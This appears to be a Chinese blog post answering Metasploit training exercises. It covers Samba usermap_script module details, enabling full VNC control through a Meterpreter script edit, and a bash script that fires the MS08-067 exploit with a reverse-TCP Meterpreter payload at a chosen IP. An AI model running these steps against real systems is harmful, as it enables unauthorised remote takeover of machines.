Metasploit魔鬼训练营第一章实践作业

1. 关于Samba服务的usermap_script安全漏洞相关信息

查看usermap_script模块的信息

msf6 > info exploit/multi/samba/usermap_script

       Name: Samba "username map script" Command Execution
     Module: exploit/multi/samba/usermap_script
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-05-14

Provided by:
  jduck <jduck@metasploit.com>

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                     using-metasploit.html
  RPORT   139              yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a command execution vulnerability in Samba
  versions 3.0.20 through 3.0.25rc3 when using the non-default
  "username map script" configuration option. By specifying a username
  containing shell meta characters, attackers can execute arbitrary
  commands.

  No authentication is needed to exploit this vulnerability since
  this option is used to map usernames prior to authentication!

References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  OSVDB (34700)
  http://www.securityfocus.com/bid/23972
  http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
  http://samba.org/samba/security/CVE-2007-2447.html


View the full module info with the info -d command.

该去读文章的去读文章,这种量级的漏洞一经披露,补丁发布的非常快,但是补丁发布了就是有人不打,还是可能会出现有漏洞的资产。

2. 更新metasploit,并且找到各服务器的攻击模块数量

更新

kali下:

apt update
apt install metasploit-framework

linux环境下:

msfupdate

windows可以直接下载安装包更新

统计攻击模块数量

我这里用的windows

直接打开这个路径embedded\framework\modules\exploit

查看里面文件数量就知道一共有2408个攻击模块

具体的不同版本模块可以通过以下命令查询:

msf6 > search type:exploit target:windows 2000

其他版本同理

3. 获取一台windows机器的VNC控制

正常通过漏洞打进去之后,通过meterpreterrun vnc可以得到VNC控制

run vnc默认只有观看,没有控制,如果想要进行控制需要将源代码修改

/scripts/meterpreter/下的vnc.rb文件中的pay的声明后方(53行)添加pay.datastore['ViewOnly'] = false可进行远程控制。

关于远程桌面的命令:

enumdesktops   #查看可用的桌面
getdesktop   #获取当前 meterpreter 关联的桌面
set_desktop   #设置 meterpreter 关联的桌面 h 查看帮助
screenshot   #截屏
use espia   #或者使用 espia 模块截屏 然后输入 screengrab
run vnc   #使用使用vnc远程桌面连接

4. 编写一个shell脚本通过msfcli进行攻击

已经没有msfcli了,所以通过msfconsole -x进行攻击,编写了一个shell脚本,输入IP地址将调用模块进行攻击

#!/bin/bash
echo "Please set remote host(RHOST) IP"
read -p "IP:" IP
msfconsole -x "use exploit/windows/smb/ms08_067_netapi;\set PAYLOAD windows/meterpreter/reverse_tcp;\set RHOST $IP;\set LHOST 192.168.161.128;\set TARGET 34;\exploit"
评论区
头像
文章目录